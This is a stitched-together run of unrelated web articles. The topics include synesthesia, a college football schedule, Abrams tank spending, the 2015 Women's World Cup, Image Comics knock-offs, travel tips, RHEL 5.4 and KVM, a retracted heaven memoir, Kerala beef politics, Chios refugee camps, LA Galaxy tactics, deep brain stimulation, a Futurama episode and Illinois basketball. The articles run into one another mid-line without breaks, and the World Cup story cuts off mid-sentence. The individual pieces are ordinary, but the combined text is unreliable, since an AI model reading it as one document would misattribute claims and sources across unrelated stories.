Then there are types that I’m still not sure if I have them, but they crop up every once in a while. Once or twice I’ve felt pain and seen a pulsing light in my vision, which would be part of pain to colors, making up 5.26% of synesthetes. I am also still trying to determine whether or not I have sound to touch synesthesia (the percentage of which is unknown), since sometimes I feel something towards the back of my head when the radiator clicks. Sometimes I do hear a musical chord and think “that’s brown, like my boots,” or look at a color and think “that’s a French Horn sound.” Once I ate a piece of dark chocolate and thought, “that tastes blue,” and sometimes I’ll be sitting in bed and I feel like I’m tasting a cube. Additionally, sometimes I wonder if I’m having synesthetic hallucinations as result of the air conditioner’s constant white noise sound at night or if it’s the ringing I already have in my ears.
Partly because the types I have are less common and partly because it’s unnecessary to do so, it’s difficult to test myself to know I have this. At the same time, it’s a difficult thing to fake, as faking it would result in different effects each time. It’s also hard to fake something that can sometimes be an annoyance to myself, like seeing the radiator click annoyingly every night when I’m trying to fall asleep.
This is an ongoing learning process for me, and this will probably be the case for the rest of my life. Though research about this is pretty minimal and for the most part amounts to “we’ve researched this and it exists,” I hope at some point in my lifetime scientists will learn exactly how and why it exists, as so far I believe they have not found a conclusion. If anyone has any information on the subject that I may not know about, please let me know, even though I still have yet to read the copy of Wednesday is Indigo Blue that’s waiting for me at home. Until then, I will continue to lament the fact that the slamming of the door across the hall is increasingly and annoyingly bright.
AdvertisementsCLOSE USA TODAY Sports' George Schroeder breaks down the five college football matchups to watch this week.
Alabama Crimson Tide quarterback Jalen Hurts runs for a touchdown against the Tennessee Volunteers. (Photo11: Randy Sartin, USA TODAY Sports)
As the 2016 college football season rolls on, here's everything you need to know for a loaded week of action.
Want to know when a major upset or powerhouse matchup is going down to the wire? 1) Follow @SportsPSA on Twitter. 2) Click on the gear/wheel next to the follow button. 3) Tap "turn on notifications" to get alerts sent directly to your phone.
MUST-READ STORIES
TOP 25 SCHEDULE (All times ET)
(1) Alabama vs. (6) Texas A&M, 3:30 PM, CBS
(2) Ohio State at Penn State, 8:00 PM, ABC
(4) Michigan vs. Illinois, 3:30 PM,
(5) Washington vs. Oregon State, 6:30 PM, PAC12
Coming off a bye, Washington looks to avoid being sluggish against struggling Oregon State.
(7) Louisville vs. NC State, Noon, ABC
(9) Nebraska vs. Purdue, 3:30 PM, ABC/ESPN2
(10) Wisconsin at Iowa, Noon, ESPN
Quite possibly the game that will decide the Big Ten West title.
(11) Houston at SMU, 7:00 PM, ESPN2
Houston needs to re-establish its dominance.
(13) West Virginia vs. TCU, 3:30 PM, ABC/ESPN2
From hot seat to hot start, Dana Holgorsen has WVU on a roll.
(16) Oklahoma at Texas Tech, 8:00 PM, FOX
(17) Arkansas at (24) Auburn, 6:00 PM, ESPN
(18) Utah at UCLA, 4:00 PM, FOX
The Utes are going for their second straight victory at the Rose Bowl.
(20) Western Michigan vs. Eastern Michigan, 3:30 PM, ESPN3
Previewing the #MACtion.
(21) North Carolina at Virginia, 3:00 PM, ACCN
(22) Ole Miss at (23) LSU, 9:00 PM, ESPN
LSU can move right into the thick of the SEC West title race with a victory over the Rebels.
(25) Navy vs. Memphis, 3:30 PM, CBSSNThe US Army doesn’t want tanks, but that hasn’t stopped Congress spending $436 million in two years on … yep, tanks!
A bipartisan push to spend taxpayer money on more Abrams tanks has seen Congress approve orders worth almost half a billion dollars since early 2011.
But while Congress might have a taste for tanks, the Army would rather the money was spent elsewhere. As General Ray Odierno, the Army’s chief of staff, tells The Associated Press: “If we had our choice, we would use that money in a different way.”
So if the US Army doesn’t want tanks, well, what’s with all the tanks?
Many feel it comes down to courting voters. Abrams tanks are manufactured at the Lima Army Tank Plant in Ohio. Slashing tank orders would mean heavy job losses, and we all know how crucial swing state Ohio is to both main parties. Lima’s tank plant employs 700 people in well-paid manufacturing jobs; to be seen as responsible for losing those jobs could be political suicide come the next election.
Commentators suspect that’s why lawmakers from both sides are such keen supporters of more tank production.
Republican Representative Jim Jordan and Senator Rob Portman are both behind further tank investment as is Democratic Senator Sherrod Brown. All three men say their focus is on protecting national security. Jordan, whose district in northwest Ohio includes the tank plant, says:
“The one area where we are supposed to spend taxpayer money is in defense of the country.”
Yet that doesn’t change the fact that the US Army doesn’t want tanks. And that’s a message Sean Kennedy, director of research for the nonpartisan Citizens Against Government Waste, says Congress should listen to:
“When an institution as risk averse as the Defense Department says they have enough tanks, we can probably believe them.”
However, Jordan remains defiant:
“Look, [the Lima Army Tank Plant] is in the 4th Congressional District and my job is to represent the 4th Congressional District, so I understand that. But the fact remains, if it was not in the best interests of the national defense for the United States of America, then you would not see me supporting it like we do.”
What do you think about Congress’ insistence on buying more tanks?(Reuters) - Chip Shop is a popular spot for Brooklyn soccer fans, but the restaurant was nevertheless stunned by the crowd that turned out on Monday night to watch the United States women’s team make its 2015 World Cup debut against Australia.
May 30, 2015; Harrison, NJ, USA; Fans cheer as team USA comes out for warmups before a game against the Korea Republic at Red Bull Arena. Mandatory Credit: Brad Penner-USA TODAY Sports
Owner Chris Sell said the FIFA Women’s World Cup had “never been that big” in past years. But then he saw his 70-seat British-style pub fill up for the live television broadcast, mostly with cheering women decked out in soccer jerseys.
They were rewarded with a 3-1 win for the Americans playing in a stadium in Winnipeg, Canada, in front of more than 31,000 fans.
“It brought a whole new genre of people in,” said Sell. “Everybody was a little bit shocked.”
The auspicious start for the U.S. team, ranked second by FIFA behind Germany, could help build support for the American women, much like the men’s team experienced reaching the knock-out stages of the World Cup finals in Brazil last year.
U.S. teams have won the Women’s World Cup twice, in 1991 and 1999, while the men have never reached a final.
In addition to having a team with potential to win the championship, the United States benefits this year from a convenient tournament location over the border in Canada, and more exposure in both broadcast and social media.
Fox Sports, which will air all 52 Women’s World Cup games live, including 16 on the Fox broadcast network, said USA-Australia attracted 3.3 million viewers on Fox Sports 1, more than triple the audience of the U.S. team’s opener in 2011.
On Twitter, players such as forward Alex Morgan and goalkeeper Hope Solo have more followers than U.S. male counterparts Clint Dempsey and Tim Howard. The team is promoting their quest for the Cup with the hashtag #SheBelieves.
There is also a daunting challenge: the United States is in the “Group of Death,” with three of the Group D teams ranked in FIFA’s top 10.
Scott Paul, who heads a non-profit organization near Washington, D.C., traveled with his twin 7-year-old boys to Winnipeg for the opening match.
“The atmosphere was electric. It was almost like a U.S. home game,” Paul said.
‘THE PLACE ERUPTS’
The American Outlaws, a U.S. supporters group, turned the north grandstand into a swath of red, white and blue with chants of “USA, USA” from the moment the players walked out of the tunnel.
The glowing reviews for team and tourney contrast with the doom and gloom around FIFA |
the best thing about Punisher is how he is human and can die. He doesn’t have superpowers, so when he takes on the superpowered bad guys (and good guys), it has serious stakes. Deathblow, on the other hand, is Punisher with a healing factor and psionic powers. That makes Deathblow not just a copy of a popular Marvel character, but instantly strips him of everything that makes the original character interesting. But hey, healing factors are dope, right?
3 CYBERFORCE
Jim Lee ripped off X-Men with WildC.A.T.S. J. Scott Campbell did it with Gen 13. Then Marc Silvestri went and did it with Cyberforce. Cyberforce tells the story of mutants that were taken hostage and experimented on. They were given cybernetic enhancements that increased the powers they were born with. Basically, Cyberforce is when you take the members of the X-Men, plus Cable, and make them more violent and metal-ly.
One of the silliest tropes of ‘90s comics was the excessiveness of character designs. Cyberforce is a perfect example. Cable is a popular X-character, so in Cyberforce, they made a Cable-like character with three cybernetic arms. Way cooler than one arm! Wolverine is a badass right? So how about we make his whole hands metal claws? Extra badass! Let’s just give everyone some cybernetic goodness and oversized muscles! Yay, ‘90s!
2 BLOODWULF
Lobo is a character that works because of how silly and over-the-top he is. He’s a loudmouthed, super strong space bounty hunter who swears and smokes. He’s a crude, funny parody of all those ultra-violent anti-heroes in comics. You know what isn’t funny though? When a creator misses the point completely, and directly copies the character. That’s the story behind Bloodwulf.
Bloodwulf is just a shameless rip off of Lobo, minus any of the actual humor and creativity that went into creating the character. Bloodwulf is that joke that someone tells you but forgets the punchline. It’s painful and just sad. Lobo is already an over-the-top parody of ‘90s badass comics characters, so creating a copy of him because he’s cool is just... redundant. You can’t even say now that Bloodwulf was supposed to poke fun at Lobo because that’s not the truth. He was created to be Image’s Lobo, hoping to capitalize on the trend at the time.
1 PITT
Dale Keown is one of the best Incredible Hulk artists of all time. His run with Peter David is still looked at as one of the best runs on the character in Marvel history. So, you can hardly blame the guy for wanting to bring his knack for drawing large, muscular monsters to his first Image comic. That’s what he did when he created Pitt.
Pitt is an alien hybrid from a race called the Creed. Actually, you know what? It doesn’t matter. All you need to know is Pitt is basically the Hulk crossed with Wolverine. Apparently all the Hulk needs to be relevant in the ‘90s is a set of razor sharp retractable claws, gratuitous amounts of chains, and a ponytail. You have to hand it to Keown to use a couple different influences, unlike other people on this list.
Did we miss any other times Image blatantly ripped of their forebears? If so, help us out in the comments!
Next 10 Reasons Why Dick Grayson Is A Better Superhero Than BatmanWork hard, play hard, right? The problem is that playing hard comes at a cost. There’s no such thing as a cheap trip to the beach. Flying to see family is just as expensive as a week-long trip to the big city. Nobody wants to spend the whole year at the office just to stay home during the summer months. Every spring families look forward to relaxation. But, while half of the country will leave home to swim in an ocean of leisure, most of them aren’t swimming in a pool of money.
Luckily for everyone, there are ways to save on your getaway. Whether you’re driving down the coast or across the country, follow a few simple tips to save some cash. Instead of spending big on airline tickets, expensive meals, or pricy activities, plan ahead. Cutting travel costs may seem like a big hassle, but plenty of resources exist to ensure that you end up with a memorable adventure. All it takes is a little foresight and innovation to ensure your wallet — and schedule — earn some much needed rest. Check out a few of these ideas to get started:
1. Make Your Own Food
Once you pick a destination, you can research the surrounding area. Find a grocery store nearby or some fast food restaurants. Not every meal has to be at a five-star eatery. In fact, cutting out the fine dining is a great way to save a little dough. Become a member at the nearest supermarket and save instantly on your food bill. Pack lunches when you head down to the beach and arrange for family style dinners at your condo.
You won’t even miss the hassle of picking a restaurant and being disappointed with your order. Storing snacks and non-refrigerated items will keep you away from the hotel bar and the big spending that comes with it. Most people associate big bills with summer adventures, but this is an easy tip to help you take a trip without devastating your wallet. So don’t sacrifice the rest and energy that you can gain by going away because you don’t think you can afford the chow.
2. Rack up Travel Rewards on Credit Cards
Whether you’re using your rewards credit card to earn points towards a trip, or using it on your vacation to build up bonuses, this is a sure way to gain a little financial relief. It’s easy enough to find great deals that offer points, cash, and gift cards, so go out and snag one that enables you to enjoy a relaxing vacation.
By taking advantage of this simple trick, you can lead your loved ones to a memorable destination that will live in family lore. Every family deserves a getaway, and it shouldn’t mean you have to break the bank just to enjoy a week at the shore. Airline tickets and hotel stays can easily be taken care of with a few transactions on a new rewards credit card. A dream trip is more feasible than you probably think.
3. Sign Up for Notifications on Travel Deals
You’re already an expert at surfing the Web, now you can use that skill to your advantage. Get on an email list or a newsletter that notifies you of the best vacation deals for the week. You’ll never miss a great opportunity when you’re looking daily at the rates for your travel week of preference.
You’re in-the-know every time a hotel drops its price or a transportation company offers a deal. This is the first step to enjoying a vacation without blowing your savings. Behind white sand beaches, crystal clear water, and pool side lounging are thoughts of expensive airline tickets and pricey condo stays, but this hack can keep you calm and focused at the fun in front of you.
4. Travel With a Large Group
What’s better than spending time with your friends and family? Spending time with your friends and family on vacation! Make memories with the ones you love the most while splitting the cost of something that may be a bit out of your price range. It’s the best of both worlds.
5. Bring Entertainment from Home
Finally, you’ll need some entertainment for those down times. Simply pack some of your favorite movies, books, or board games before you take off. They keep everyone occupied without costing a cent. So if you’re looking to save, follow these guidelines to get started on your next big adventure.Red Hat announced Wednesday the release of Red Hat Enterprise Linux 5.4, a new major point update of the company's popular commercial Linux distribution. This version introduces official support for KVM and marks an important milestone in Red Hat's gradual transition away from Xen.
KVM, the Kernel-based Virtual Machine, is an open source framework that brings native full virtualization to the Linux kernel. It is primarily designed for the x86 architecture (though others are supported) and takes advantage of processor virtualization extensions. It has been part of the mainline Linux kernel since 2.6.20 and has become the favored virtualization solution of the upstream kernel community.
"Because KVM is integrated into the Linux kernel, it takes full advantage of the operating environment," Red Hat explains in a blog entry. "This includes hardware and application support. Hardware and software certified on Red Hat Enterprise Linux 5 should be transparently certified for virtual guests as well. System tools, including management, SELinux security and Red Hat Network all work in both physical, virtual, host and guest deployments."
Red Hat was previously closely aligned with the popular Xen virtualization solution and made Xen a core part of Red Hat Enterprise Linux 5, which was released in 2007. Over the past few years, Red Hat's allegiances have shifted towards KVM for reasons that are likely both technical and political. XenSource, the company behind Xen, was acquired by Citrix in late 2007. The close ties between Citrix and Microsoft could potentially have created some challenges for Red Hat.
The Linux vendor developed an interest in KVM and began contributing to the project. Last year, Red Hat's virtualization strategy got a major boost when the company acquired Qumranet, the company behind KVM. Red Hat started down a path of gradually shifting its enterprise software ecosystem from Xen to KVM. The introduction of KVM in RHEL 5.4, which makes Red Hat's stand-alone KVM virtualization solution a standard part of the enterprise distro, is a noteworthy milestone in that transition.
"Red Hat Enterprise Linux plays a significant role in Red Hat's virtualization strategy," said Red Hat platform business unit vice president Scott Crenshaw in a statement. "The availability of Red Hat Enterprise Linux 5.4 with the same virtualization technology base as Red Hat Enterprise Virtualization today is a significant step in our delivery of virtualization to the market."
Xen will likely be phased out in favor of KVM for RHEL 6. This move won't leave Red Hat's current Xen users out in the cold, however, because the lengthy duration of Red Hat's support cycle will ensure that it continues to be maintained in RHEL5 for years to come. There is also a nifty tool called Xenner that makes it possible to run a Xen kernel and lightweight Xen emulator inside of a KVM guest environment without requiring the Xen hypervisor. Red Hat's virtualization management tools, including oVirt, support both Xen and KVM.Malarkey admits that he didn't actually go to heaven during his infamous coma nearly five years ago.
The New York Times bestseller The Boy Who Came Back from Heaven told six-year-old Alex Malarkey’s story of how a car accident allowed him to see heaven before he woke up from his two-month coma. The remarkable spiritual memoir was one of Tyndale House Publishers’ most popular books, but now the major Christian publisher is being forced to pull it from shelves because Malarkey recently admitted that his whole story was a hoax.
Malarkey’s family got into a car accident in 2010, and the injuries left Alex paralyzed and in a coma which lasted for two months. When he woke up, Alex told stories of “miracles, angels, and life beyond This World,” and he and his father supposedly wrote about the experience in The Boy Who Came Back from Heaven.
Now a teenager, Malarkey posted an open letter to Christian bookstores in which he recanted his story about the afterlife. The letter, which was posted on the Pulpit and Pen website, states, “I did not die. I did not go to Heaven.”
“I said I went to heaven because I thought it would get me attention,” admitted Malarkey. “When I made the claims that I did, I had never read the Bible. People have profited from lies, and continue to. They should read the Bible, which is enough. The Bible is the only source of truth. Anything written by man cannot be infallible.”
Several media sources are blaming the hoax on Alex’s father Kevin Malarkey, who is a Christian therapist with a counseling practice near Columbus, Ohio. An Apr. 2014 post published on a blog run by Beth Malarkey, Alex’s mother, suggests that her son wasn’t involved in writing the book at all, and states that she was never comfortable with her former husband’s choice to publish it.
“I am NOT involved with, or desire to be connected with, the book titled The Boy Who Came Back From Heaven. Yes, I am the mom of Alex Malarkey who is NOT an author, nor does he have or has he ever had an agent,” posted Beth Malarkey. “Any questions pertaining to any said experiences that my child did or did not have are for him and only him to answer if and when he desires to (or feels he is supposed to).”
Beth Malarkey also states that her son didn’t get to keep any of the proceeds from the book, which spent several years on the bestsellers list.
Todd Starowitz, public relations director of Tyndale House, told The Washington Post on Thursday evening that the publisher has “decided to take the book and related ancillary products out of print.”[Alphons Kannanthanam taking charge as the new Minister of State (Independent Charge) for Tourism, in the presence of Minister of State for Culture (I/C) and Environment, Forest & Climate Change Dr. Mahesh Sharma, in New Delhi on September 04, 2017.]
New Delhi: Exposing the double standard of the Bhartiya Janata Party (BJP) on beef consumption yet again, the newly appointed Tourism Minister of the country Alphonse Kannanthanam said people in Kerala can eat beef and his party will not have a problem.
He said that if the BJP-ruled state Goa could eat beef, then there was no problem in Kerala.
Kannanthanam, who is a Lok Sabha MP from Kerala’s Kanjirappally constituency, said on Monday that BJP did not dictate food habits.
As reported by Scroll.in, the tourism minister said, “The BJP does not mandate that beef cannot be eaten. We don’t dictate food habits in any place. It is for the people to decide”.
Earlier, BJP chief minister in Goa Manohar Parrikar while supporting the beef consumption had said that he won’t let his state face beef shortage.
In an interview to NDTV, Alphonse said that he would act as a “bridge” between the Christian community and the BJP.
Hitting out at those who spread propaganda in 2014, that if Modi would come to power Christians will be burnt, churches will be demolished, the tourism minister said that the BJP government had been inclusive.
"The Modi government has been so inclusive... he has made it so very clear... believe in whatever you want, I will take care of you, I will protect you. There is not one incident of the burning of a church or mosque...
"The PM has done a fantastic job,” Alphonse said.
In total contrast to the statement of Alphonse Kannanthanam, the first thing that the Bhartiya Janata Party (BJP) did soon after forming government in Maharashtra and Uttar Pradesh was to impose a ban on beef. It also did the same in states like Haryana and Rajasthan.File photo of refugees and migrants sitting next to tents set on the beach next to a medieval fortification wall, at the Souda municipality run camp for refugees and migrants, on the island of Chios Thomson Reuters
CHIOS, Greece (Reuters) - Life in Greece has become so difficult for Amir and Walaa, teachers from Syria, that they sometimes think about returning to the home they risked everything to flee.
"I know in Syria we have war and bombs every day," says Amir, visibly exhausted. But there, "every Syrian dies once. Here we die every day. Every day is bad."
For the past six months, home is a bleak tent on the Aegean island of Chios, pitched in a dusty medieval castle moat, where they wait without work or money for a verdict on their asylum claims.
Until then, they are prevented from going beyond Greece, or even Chios, under a deal agreed in March between the European Union and Ankara that will see those who do not qualify for asylum sent back to Turkey, from where they arrived.
They are among thousands in the same predicament.
Conditions at the Souda camp, as well as on other two sites on the island, deteriorated over the summer as the migrant population swelled to three times the capacity.
A fire tore through tents during a protest in June, and brawls are frequent at night. Walaa says she and her children, aged six and eight, are too scared to leave the tent after sunset, as men frequently get drunk and fight one another.
The couple fled the wrecked city of Homs for Europe and arrived in Greece on March 19 - a day before the EU-Turkey deal was implemented - but were barred from leaving the island. Since then, they have been interviewed twice, but have yet to be given any information on their fate, they said.
Anis, 4, from Syria (C) is bathed by his mother, as others wash their clothes and shoes, at the Souda municipality-run camp for refugees and migrants on the island of Chios, Greece, September 6, 2016. ReutersAlkis Konstantinidis
The process - which includes thorough identity checks, interviews and an assessment of whether Turkey is safe or not for a particular individual - can take weeks. Applicants can appeal a negative decision, prolonging the procedure.
In nearly six months since the EU-Turkey accord was agreed, just over 500 people have been ferried back to Turkey, but none of those who had requested asylum were among them, Greece says. Meanwhile, nearly everyone currently on Chios and four other Aegean islands close to Turkey has expressed an interest in applying.
Even though arrivals have slowed to a hundred or so a day from thousands last year, about 13,000 refugees and migrants are currently on the islands, up from about 5,000 in March. Over 3,500 are on Chios alone.
"We wait," Walaa said, stirring sugar into tea, "but what we wait for, I don't know."
Each day, she checks a board for when their number - 10,624 - will be called. But they are not called in any particular order, so it's anyone's guess when that may be - "maybe tomorrow, maybe after one week," authorities say.
A migrant rests inside a tent at the Souda municipality-run camp on the island of Chios, Greece, September 6, 2016. Reuters/Alkis Konstantinidis
"Unacceptable conditions"
More than 57,000 refugees and migrants, mostly Syrians, Afghans and Iraqis, are in camps across Greece, stranded since countries across the Balkans closed off the route to northern Europe. Humanitarian organizations on the ground have deplored conditions at the camps as unfit for humans.
"The conditions are unacceptable for humans, let alone for refugees who are vulnerable and who carry wounds from war," said Giorgos Kosmopoulos, an Amnesty International researcher and former Greece director.
A few meters down, in a tiny tent with a tarpaulin roof barely bigger than 1 by 2 meters (40 x 80 inches), 26-year-old Syrian student Mohammad Al-Jassem, who arrived in Greece on March 30, spends his days writing notes to his family back home.
"I love you mama. I hope to see you in the future," reads one, in green ink on yellow paper. "I want to stay in Europe. I am tired of the Middle East. Always war."
Like others in the camp, Al-Jassem says he had no choice but to leave the eastern Syrian city of Deir al-Zor.
A Syrian boy plays next to the sea at the Souda municipality-run camp for refugees and migrants, on the island of Chios, Greece, September 7, 2016. Reuters/Alkis Konstantinidis
"I don't want to hold a weapon and kill someone," he said. "I just want to study, to work, to have a new life, to have a new start, to go to Germany, to find peace, to leave this mess."
And if Turkey was safe, he would not have come to Europe in the first place, he says. "If they send me back to Turkey I will go back to Syria."
For everyone in the camp, the days are long. "Five months and 11 days," says Daud, a 45-year-old Syrian, when asked how long he has been in Greece.
He describes long days spent in temperatures above 35 degrees Celsius (95 Fahrenheit), and long nights of people fighting, brandishing knives and stealing.
"Every day there is a fight," he says. After three interviews, he has yet to be told what will become of him and his wife.
Asked what will happen if they are ordered back to Turkey, he replies without hesitation: "No. I will go to Syria and die in Syria."
(Editing by Mark Trevelyan)Curt Onalfo just did yesterday what Bruce Arena was unable to do in four years: Win a game on the East Coast. How did the manager who’s suddenly on a bit of a roll pull off the impossible? (Hint: It wasn’t just the blue kits)
With Gyasi Zardes operating as a No. 9 and Gio’s tendency to stay higher up the pitch, the 4-3-2-1 looked more like a 4-1-3-2, with Baggio Husidic occupying the central midfield and Joáo Pedro shielding the back four.
By making the change, the Galaxy ceded possession and were often put on the back foot by the Red Bulls, but LA were absolutely deadly in transition. Ema Boateng’s breakaway in the 7th minute should have been a clear warning to the hosts. A minute later, the Galaxy were on the board, and another minute later, LA had doubled the lead.
Speaking of warnings, during our talk with Once a Metro we warned New York not to underestimate Romain Alessandrini’s service on set pieces. While LA indeed capitalized on a restart, the Galaxy took all three points because they (finally) added a new dimension to the attack, and credit should go to Onalfo for figuring it out.
What else changed? To an individual, the team stepped up their play. Leading the way, Jelle Van Damme was back to his usual self:
Jelle Van Damme's defensive actions for @LAGalaxy in #NYvLA. Heaps of interceptions, clearances, recoveries; no tackles missed. pic.twitter.com/pakQ0jaRqd — Charles Boehm (@cboehm) May 15, 2017
With the Belgian captain committed to defending in conjunction with the absence of the freewheeling Jermaine Jones, the Galaxy were successful at keeping their shape and fending off the Red Bull attack with a bend-but-don’t break approach.
After a rough start, Joáo Pedro appears to be adjusting to the league. And let’s not forget about Giovani dos Santos, who after a slow start is quietly rounding into form with another goal and an assist on Sunday.
For perhaps the first team this season, the future looks bright.The Man With A 'Battery Operated Brain'
He calls himself the "human with the battery operated brain" because he does, in fact, have electrodes in his head, put there by his New Zealand doctors.
Andrew Johnson (also known as "Cyber AJ") a few months ago was a young, 39 year old, early-onset Parkinsonian who tremored constantly. His hands shook. His neck crimped. His body was stiff. He had balance problems, voice problems, trouble speaking. He can make those problems disappear now by hitting a switch. It's amazing to see. This video begins with him looking totally normal; he talks a bit, then, when he's ready, he pushes the "off" button, and the disease comes roaring back. Instantly.
YouTube
This procedure, called "deep brain stimulation" is now used all over the world. When neurons in the brain start firing in ways that cause shakes and tics, it is sometimes possible, says neurosurgeon Andres Lozano, to control those tics by adding or subtracting electricity.
So what we've been able to do is to pinpoint where these disturbances are in the brain and we've been able to intervene within the circuits in the brain... We do that with electricity. We use electricity to dictate how they fire and we try to block their behavior using electricity.
Over the years, these implants can pinpoint the errant neurons with increasing accuracy adding or subtracting electricity as needed. In Andrew's case, the implants turned him from a "39 year old trapped in an 89 year old body" to what passes for normal guy — at least when the current is on. As he says on his blog, youngandshaky.com, the surgery went fast.
I only had a small patch of hair removed from my head and chest and the wires pulled down and plugged into the neuro-stimulator which was implanted in my chest. Straight after the surgery I was in obscene amounts of pain (in my head) but double the normal dose of morphine soon put paid to that. While I was in recovery (incidentally longer than the time it took to do the surgery) there were lots of people milling around talking and getting ready to go to lunch etc. I am sure they were talking quietly but to me the slightest whisper was like a dagger to the skull and I remember thinking they better be quiet soon or I was going to get out of that bed and make them. That's if moving without falling to the floor in a crumpled heap was a possibility. The effects of the morphine soon kicked in and I started to feel halfway human again, albeit now a human with a battery operated brain. Cyber-AJ on the loose!
A few days later, after the staff had adjusted his monitor to compensate for his brain dysfunction, so that his body could move without shaking, (those settings will change; Parkinson's is a progressive disease), Andrew Johnson was released.
[T]he effects of being powered up are almost instantaneous. I have required several tweaks and medication adjustments but that is to be expected. I do feel a great deal better, certainly not to the point I was pre-Parkinson's but 100% better than I have felt in recent years. So from that perspective it has been a dream come true as I explained to a good friend Andy McDowell who came to visit me in hospital.
Andy McDowell also has Parkinson's, and he's written a poem about it to explain the disease to his children. "The only positive thing about this [expletive deleted] disease is meeting fantastic people like Andy and his wife Kate," says AJ. Here's the poem, "Smaller, A Poem About Parkinson's Disease", read by Andy's daughter Lily.
YouTube
Thanks to blogger Jason Kottke for pointing me to AJ's story.Ice Cube took to Twitter Monday (August 22) to set the record straight about a suspicious Facebook account that was claiming to be run by Cube’s son, O’Shea Jackson Jr.
Several posts from the page show images of Jackson as Cube’s character, Craig, and comedian DC Young Fly as Chris Tucker’s character, Smokey, alluding to an upcoming installment of the Friday film series, but according to Cube, the claims are false. He wasted no time debunking the fraudulent Facebook account on Twitter, writing, “This is fake. My son doesn’t have a Facebook account. Can’t mess with a classic.”
Cube went on to write in the next tweet, “We had a meeting. Can’t do Last Friday unless we do it right. Ball is New Line Cinema’s hands. Bat is in mine.”
The most recent Friday movie was released in 2002, when Cube and Tucker (correction: it was just Cube who appeared in the sequels) appeared in Friday After Next. According to Jackson’s IMDB profile, the only film he has in the works is Ingrid Goes West with Aubrey Plaza and Elizabeth Olsen, while his pops is scheduled to be in the Scrooge story Humbug and Fist Fight starring Charlie Day, both due out in 2017.
Check out the posts from the fake account below.5th episode of the sixth season of Futurama
"The Duh-Vinci Code"[2] is the fifth episode of Futurama's sixth season. It originally aired on Comedy Central in the United States on July 15, 2010. In the episode, Fry finds a drawing of a lost Leonardo da Vinci invention which leads him and Professor Farnsworth to planet Vinci.
The episode's title and plot is a parody of "The Da Vinci Code". It received positive reviews from critics and went up one-tenth in the 18-49 demographic from the previous episode, "Proposition Infinity".
Plot [ edit ]
Fry misses the first question on Who Dares to Be a Millionaire?, and Professor Farnsworth berates him for his stupidity. Farnsworth explains that he is a proud scientist who greatly admires classic geniuses of history, mainly Leonardo da Vinci, and it pains him that one of his ancestors (Fry) is such an idiot. Farnsworth shows Fry his most precious possession, Da Vinci's beard. Fry accidentally destroys it, uncovering a secret project of Da Vinci's. After two weeks of fruitless research, Farnsworth orders Bender to steal Da Vinci's original Last Supper, and using an x-ray machine, learns that Saint James was a robot.
The Planet Express crew goes to Rome to find the tomb of Saint James. They discover a robot in the tomb, who suddenly comes back to life and explains to the crew that he is Animatronio, a robot version of the original Saint James created by Leonardo da Vinci. Farnsworth asks Animatronio about Da Vinci's secret project, but Animatronio realizes that if they do not know about the "Machina Magnifica", they must not be a part of Da Vinci's secret society. He carelessly reveals that Da Vinci's secret is in a fountain, and proceeds to self-lash himself and fakes death to deny them any other information. Farnsworth uses clues from a statue of Neptune in the room to deduce that they need to look in the Trevi Fountain.
The crew arrives at Trevi Fountain, and Bender dives in to steal the coins at the bottom. He fights a mutant octopus for the coins and discovers a secret door that leads to a room filled with many of Da Vinci's famous inventions. Animatronio reappears and after an attempt at their lives, carelessly mentions that all the inventions fit together.
Fry triggers one of the inventions, which assembles itself into a spaceship and sends Fry and Farnsworth to the planet Vinci. They find Leonardo da Vinci, who reveals his great secret: He is from the planet Vinci, which is populated by a humanoid, near-immortal, highly intelligent alien race that takes pleasure in education. Farnsworth is elated, and runs off to explore and learn. Fry confesses his stupidity to Leonardo, who sympathizes and says that he is actually the dumbest person on planet Vinci, and lived on Earth during the Renaissance because he could not withstand the continuous bullying from his race. Earth's relatively stupid inhabitants were also intolerable to him, so he eventually returned to Vinci. Leonardo mentions the lost plans for his Machina Magnifica, which Fry happens to be carrying, and Leonardo takes them happily.
Fry helps Leonardo build the Machina Magnifica, under the assumption that they are plans for an ice cream machine. Farnsworth is having difficulty keeping up with the academic rigors on Vinci, and is ridiculed for his relative stupidity. Leonardo eventually reveals that his Machina Magnifica is a doomsday device, and attempts to use it on all those who tormented him. Fry is appalled at the machine's true purpose and tries to sabotage it, only to jam the gears when he falls in among them. The people of Vinci laugh at the failed machine, and Leonardo defiantly pulls a lever and is killed by a giant cog that falls on him. Farnsworth and Fry fly home in Leonardo's ship, and Farnsworth clumsily apologizes to Fry for insulting his intelligence.
Cultural references [ edit ]
The basic plot and title of the episode is a parody of The Da Vinci Code.[3] They also make a reference to Achilles' Heel and Who Wants to Be a Millionaire?.[3]
Reception [ edit ]
In its original broadcast on Comedy Central, "The Duh-Vinci Code" was viewed by an estimated 2.204 million viewers (up nearly 200,000 or 10% from "Proposition Infinity") with a 1.5 household rating and a 1.1 rating in the 18-49 demographic, up 1/10 of a point from the previous week and making it the 3rd highest rated episode of the season behind premiere week's doubleheader of "Rebirth" and "In-A-Gadda-Da-Leela".[4]
Robert Canning of IGN gave the episode an 8.0/10 stating in his review "As wary as dated references and repurposed story ideas have been making me feel, it's hard not to enjoy an episode of Futurama that can deliver fun twists and an unexpected Achilles' Heel gag."[3] Zack Handlen of The A.V. Club gave a B and also said in his review "Generally, I like shows that build on emotional relationships, but the rules are different here. Although I'm starting to wonder if a little more cohesion might do the show good".[5]Illinois basketball fans thought it couldn’t get any worse after the team’s loss to Michigan in the second round of the Big Ten tournament. That thought was quickly dismissed during and after the Illini’s 79-58 loss to Alabama in the first round of the NIT on Tuesday.
The lethargic performance was one that the team had exhibited since the second half of its loss to Purdue. Since then, players have shown little urgency, little determination to do whatever it took to qualify for the NCAA tournament. Players showed the opposite of head coach John Groce’s motto of “togetherness and toughness.” A season filled with tournament aspirations now leads fans and maybe even administration pondering the future of the program.
The 2014-15 Illinois basketball season was filled with plenty of storylines. Unfortunately for the Illini, they were all mostly negative. The events began before the season even started when senior guard Tracy Abrams tore his ACL in September. Fans didn’t seem to be too concerned at the time, but as the season progressed, it was clear that the team was lacking a leader on the floor.
The stories continued to get worse. Neither transfers Ahmad Starks and Aaron Cosby were living up to the hype. After a dozen games, Cosby was replaced by sophomore guard Kendrick Nunn and Starks would soon be replaced by Jaylon Tate. Despite beating up on lesser opponents at home and winning a Thanksgiving tournament that featured at good Baylor team, Illinois had trouble competing against ranked opponents Miami and Villanova on the road. A blown lead against Oregon at the United Center filled with orange fans only made the season seem gray.
Big Ten season did’t treat the team well. It started conference play at Michigan and held a double-digit lead at Ann Arbor, Mich., with 12 minutes left in the game. Then, Illinois would blow its lead, allow the game to go to overtime and eventually lose. It didn’t get better as the Illini followed the same script at Ohio State a few days later.
